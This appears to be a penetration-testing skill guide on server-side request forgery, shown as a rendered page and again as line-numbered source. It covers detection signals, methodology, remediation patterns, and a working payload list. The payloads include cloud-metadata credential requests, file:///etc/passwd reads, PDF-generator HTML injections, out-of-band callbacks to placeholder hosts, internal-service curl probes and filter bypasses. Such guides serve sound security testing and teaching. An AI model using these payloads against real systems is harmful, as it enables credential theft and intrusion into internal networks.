Server-Side Request Forgery (SSRF)
What Is Broken and Why
SSRF occurs when an application fetches a remote resource based on user-supplied input without adequate validation. The server makes the request on behalf of the attacker, bypassing network perimeter controls that would block the attacker's direct access. Common targets include internal admin panels (accessible only from localhost), cloud metadata services (AWS/GCP/Azure instance metadata), internal databases and APIs, and arbitrary files on the server filesystem via the file:// scheme.
Key Signals
- Parameters named
url, uri, path, redirect, link, src, href, fetch, load, resource, page, feed, callback, proxy
- Application fetches external content on behalf of the user (URL previews, webhooks, file imports, image fetching)
- PDF/report generators that render HTML (often process
<img>, <iframe>, <link> tags server-side)
- Webhook configurations accepting attacker-controlled URLs
- Import features (RSS feeds, remote files, API integrations)
- Blind SSRF: no visible response but out-of-band DNS/HTTP callbacks observed
Methodology
- Identify all parameters that accept URLs, hostnames, or IP addresses.
- Submit your OOB callback URL (Burp Collaborator, interactsh) to detect blind SSRF.
- Test for internal service access:
http://127.0.0.1/, http://localhost/admin, http://192.168.0.1/
- Test cloud metadata:
http://169.254.169.254/latest/meta-data/ (AWS), http://metadata.google.internal/
- Test file scheme:
file:///etc/passwd, file:///etc/hosts, file:///proc/self/environ
- For PDF generators: inject
<iframe src="http://169.254.169.254/">, <img src="file:///etc/passwd">
- Test bypass techniques if initial attempts are filtered.
- Enumerate internal network: try common internal ranges and port ranges.
- Chain with other vulnerabilities (e.g., SSRF → internal Redis → RCE).
Payloads & Tools
# Direct internal access
TARGET/page?url=http://127.0.0.1/admin
TARGET/page?url=http://localhost:8080/internal
TARGET/page?url=http://192.168.1.1/
# Cloud metadata (AWS)
TARGET/page?url=http://169.254.169.254/latest/meta-data/
TARGET/page?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Cloud metadata (GCP)
TARGET/page?url=http://metadata.google.internal/computeMetadata/v1/
TARGET/page?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# File scheme
TARGET/page?url=file:///etc/passwd
TARGET/page?url=file:///etc/hosts
TARGET/page?url=file:///proc/self/environ
TARGET/page?url=file:///c:/windows/win.ini
# OOB blind SSRF detection
TARGET/page?url=http://VICTIM.burpcollaborator.net/ssrf-test
TARGET/page?url=http://VICTIM.interactsh.com/
# PDF generator injection (HTML payload in content field)
<iframe src="http://169.254.169.254/latest/meta-data/" width="500" height="500">
<img src="file:///etc/passwd">
<script src="http://169.254.169.254/"></script>
# IP filter bypass — alternate representations of 127.0.0.1
TARGET/page?url=http://2130706433/ # decimal
TARGET/page?url=http://017700000001/ # octal
TARGET/page?url=http://127.1/ # shorthand
TARGET/page?url=http://0x7f000001/ # hex
# URL parser confusion
TARGET/page?url=http://TARGET-DOMAIN@VICTIM-INTERNAL/path
TARGET/page?url=http://VICTIM-INTERNAL#TARGET-DOMAIN
# curl-based manual testing
curl -s "TARGET/fetch?url=http://127.0.0.1:6379/" -v # Redis
curl -s "TARGET/fetch?url=http://127.0.0.1:27017/" # MongoDB
curl -s "TARGET/fetch?url=http://127.0.0.1:2375/info" # Docker daemon
Bypass Techniques
- Decimal IP:
2130706433 = 127.0.0.1
- Octal IP:
017700000001 = 127.0.0.1
- Hex IP:
0x7f000001 = 127.0.0.1
- IPv6 loopback:
http://[::1]/
- Short IP:
127.1, 127.0.1
- URL userinfo abuse:
http://expected-domain@internal-host/ — parser uses internal-host as host
- Fragment abuse:
http://internal-host#expected-domain — some validators check fragment
- URL-encode entire host portion
- Case variation:
HTTP://127.0.0.1, Http://localhost
- DNS rebinding: domain initially resolves to allowed IP, then switches to internal IP after validation
- Redirect chain: supply allowed URL that 301-redirects to internal target
- Protocol confusion:
dict://, gopher://, ftp://, ldap:// if application uses generic URL fetcher
Exploitation Scenarios
Scenario 1 — AWS Metadata Credential Theft
Setup: Image import feature fetches URL and stores image; no URL validation beyond HTTP/HTTPS scheme check.
Trigger: TARGET/import?imageUrl=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
Impact: AWS IAM temporary credentials returned in response; attacker accesses S3 buckets, EC2 APIs.
Scenario 2 — Internal Admin Panel Access
Setup: Webhook test feature sends HTTP request to user-supplied URL.
Trigger: TARGET/webhook/test?url=http://127.0.0.1:8080/admin/users — internal admin API returns user list.
Impact: Unauthenticated access to internal administrative functionality, user enumeration, potential account takeover.
Scenario 3 — Blind SSRF via PDF Generator
Setup: Invoice PDF generation renders HTML; no URL parameters visible but HTML content is user-supplied.
Trigger: Inject <img src="http://VICTIM.interactsh.com/blind-ssrf"> into invoice address field.
Impact: OOB HTTP callback confirms SSRF; escalate to file:///etc/passwd in img src to read server files via PDF output.
False Positives
- Application fetching URLs from a strictly maintained allowlist (verify allowlist can't be bypassed)
- SSRF to external URLs only where internal network is not reachable from server
- OOB callbacks from security scanners or crawlers already probing the application
- Redirect to internal host that returns only a generic error (not necessarily exploitable)
Fix Patterns
- Allowlist permitted URL schemes (https only), hosts, and ports rather than blocklisting
- Resolve DNS and verify the resolved IP is not in RFC 1918 / loopback / link-local ranges before fetching
- Use a dedicated egress proxy or network segment that cannot reach internal services
- Disable unused URL schemes in HTTP client libraries
- Return opaque responses (don't reflect fetched content body to user) for non-critical fetch features
- Apply network-level controls: prevent web server from initiating connections to internal networks
Related Skills
[[xxe]] and SSRF are deeply related: an XXE payload using an http:// entity is a form of SSRF, and XXE can trigger SSRF to reach internal services or cloud metadata endpoints. [[http-request-smuggling]] can pivot into SSRF by using the smuggled prefix to reach internal back-end services that the front-end proxy would otherwise block. [[cors-misconfig]] exploits a similar trust boundary as SSRF — both let an attacker leverage the server's trusted network position. In mobile, [[mobile-network-security]] covers SSRF risks through mobile backend API misconfigurations.
1---2name: ssrf3description: Detect and exploit Server-Side Request Forgery vulnerabilities by identifying user-controlled URL parameters, testing for internal service access, cloud metadata endpoints, and file scheme reads, with bypass techniques for common filters.4license: MIT5---67# Server-Side Request Forgery (SSRF)89## What Is Broken and Why10SSRF occurs when an application fetches a remote resource based on user-supplied input without adequate validation. The server makes the request on behalf of the attacker, bypassing network perimeter controls that would block the attacker's direct access. Common targets include internal admin panels (accessible only from localhost), cloud metadata services (AWS/GCP/Azure instance metadata), internal databases and APIs, and arbitrary files on the server filesystem via the `file://` scheme.1112## Key Signals13- Parameters named `url`, `uri`, `path`, `redirect`, `link`, `src`, `href`, `fetch`, `load`, `resource`, `page`, `feed`, `callback`, `proxy`14- Application fetches external content on behalf of the user (URL previews, webhooks, file imports, image fetching)15- PDF/report generators that render HTML (often process `<img>`, `<iframe>`, `<link>` tags server-side)16- Webhook configurations accepting attacker-controlled URLs17- Import features (RSS feeds, remote files, API integrations)18- Blind SSRF: no visible response but out-of-band DNS/HTTP callbacks observed1920## Methodology211. Identify all parameters that accept URLs, hostnames, or IP addresses.222. Submit your OOB callback URL (Burp Collaborator, interactsh) to detect blind SSRF.233. Test for internal service access: `http://127.0.0.1/`, `http://localhost/admin`, `http://192.168.0.1/`244. Test cloud metadata: `http://169.254.169.254/latest/meta-data/` (AWS), `http://metadata.google.internal/`255. Test file scheme: `file:///etc/passwd`, `file:///etc/hosts`, `file:///proc/self/environ`266. For PDF generators: inject `<iframe src="http://169.254.169.254/">`, `<img src="file:///etc/passwd">`277. Test bypass techniques if initial attempts are filtered.288. Enumerate internal network: try common internal ranges and port ranges.299. Chain with other vulnerabilities (e.g., SSRF → internal Redis → RCE).3031## Payloads & Tools32```33# Direct internal access34TARGET/page?url=http://127.0.0.1/admin35TARGET/page?url=http://localhost:8080/internal36TARGET/page?url=http://192.168.1.1/3738# Cloud metadata (AWS)39TARGET/page?url=http://169.254.169.254/latest/meta-data/40TARGET/page?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/4142# Cloud metadata (GCP)43TARGET/page?url=http://metadata.google.internal/computeMetadata/v1/44TARGET/page?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token4546# File scheme47TARGET/page?url=file:///etc/passwd48TARGET/page?url=file:///etc/hosts49TARGET/page?url=file:///proc/self/environ50TARGET/page?url=file:///c:/windows/win.ini5152# OOB blind SSRF detection53TARGET/page?url=http://VICTIM.burpcollaborator.net/ssrf-test54TARGET/page?url=http://VICTIM.interactsh.com/5556# PDF generator injection (HTML payload in content field)57<iframe src="http://169.254.169.254/latest/meta-data/" width="500" height="500">58<img src="file:///etc/passwd">59<script src="http://169.254.169.254/"></script>6061# IP filter bypass — alternate representations of 127.0.0.162TARGET/page?url=http://2130706433/ # decimal63TARGET/page?url=http://017700000001/ # octal64TARGET/page?url=http://127.1/ # shorthand65TARGET/page?url=http://0x7f000001/ # hex6667# URL parser confusion68TARGET/page?url=http://TARGET-DOMAIN@VICTIM-INTERNAL/path69TARGET/page?url=http://VICTIM-INTERNAL#TARGET-DOMAIN7071# curl-based manual testing72curl -s "TARGET/fetch?url=http://127.0.0.1:6379/" -v # Redis73curl -s "TARGET/fetch?url=http://127.0.0.1:27017/" # MongoDB74curl -s "TARGET/fetch?url=http://127.0.0.1:2375/info" # Docker daemon75```7677## Bypass Techniques78- Decimal IP: `2130706433` = `127.0.0.1`79- Octal IP: `017700000001` = `127.0.0.1`80- Hex IP: `0x7f000001` = `127.0.0.1`81- IPv6 loopback: `http://[::1]/`82- Short IP: `127.1`, `127.0.1`83- URL userinfo abuse: `http://expected-domain@internal-host/` — parser uses `internal-host` as host84- Fragment abuse: `http://internal-host#expected-domain` — some validators check fragment85- URL-encode entire host portion86- Case variation: `HTTP://127.0.0.1`, `Http://localhost`87- DNS rebinding: domain initially resolves to allowed IP, then switches to internal IP after validation88- Redirect chain: supply allowed URL that 301-redirects to internal target89- Protocol confusion: `dict://`, `gopher://`, `ftp://`, `ldap://` if application uses generic URL fetcher9091## Exploitation Scenarios92**Scenario 1 — AWS Metadata Credential Theft**93Setup: Image import feature fetches URL and stores image; no URL validation beyond HTTP/HTTPS scheme check.94Trigger: `TARGET/import?imageUrl=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME`95Impact: AWS IAM temporary credentials returned in response; attacker accesses S3 buckets, EC2 APIs.9697**Scenario 2 — Internal Admin Panel Access**98Setup: Webhook test feature sends HTTP request to user-supplied URL.99Trigger: `TARGET/webhook/test?url=http://127.0.0.1:8080/admin/users` — internal admin API returns user list.100Impact: Unauthenticated access to internal administrative functionality, user enumeration, potential account takeover.101102**Scenario 3 — Blind SSRF via PDF Generator**103Setup: Invoice PDF generation renders HTML; no URL parameters visible but HTML content is user-supplied.104Trigger: Inject `<img src="http://VICTIM.interactsh.com/blind-ssrf">` into invoice address field.105Impact: OOB HTTP callback confirms SSRF; escalate to `file:///etc/passwd` in img src to read server files via PDF output.106107## False Positives108- Application fetching URLs from a strictly maintained allowlist (verify allowlist can't be bypassed)109- SSRF to external URLs only where internal network is not reachable from server110- OOB callbacks from security scanners or crawlers already probing the application111- Redirect to internal host that returns only a generic error (not necessarily exploitable)112113## Fix Patterns114- Allowlist permitted URL schemes (https only), hosts, and ports rather than blocklisting115- Resolve DNS and verify the resolved IP is not in RFC 1918 / loopback / link-local ranges before fetching116- Use a dedicated egress proxy or network segment that cannot reach internal services117- Disable unused URL schemes in HTTP client libraries118- Return opaque responses (don't reflect fetched content body to user) for non-critical fetch features119- Apply network-level controls: prevent web server from initiating connections to internal networks120121## Related Skills122123[[xxe]] and SSRF are deeply related: an XXE payload using an `http://` entity is a form of SSRF, and XXE can trigger SSRF to reach internal services or cloud metadata endpoints. [[http-request-smuggling]] can pivot into SSRF by using the smuggled prefix to reach internal back-end services that the front-end proxy would otherwise block. [[cors-misconfig]] exploits a similar trust boundary as SSRF — both let an attacker leverage the server's trusted network position. In mobile, [[mobile-network-security]] covers SSRF risks through mobile backend API misconfigurations.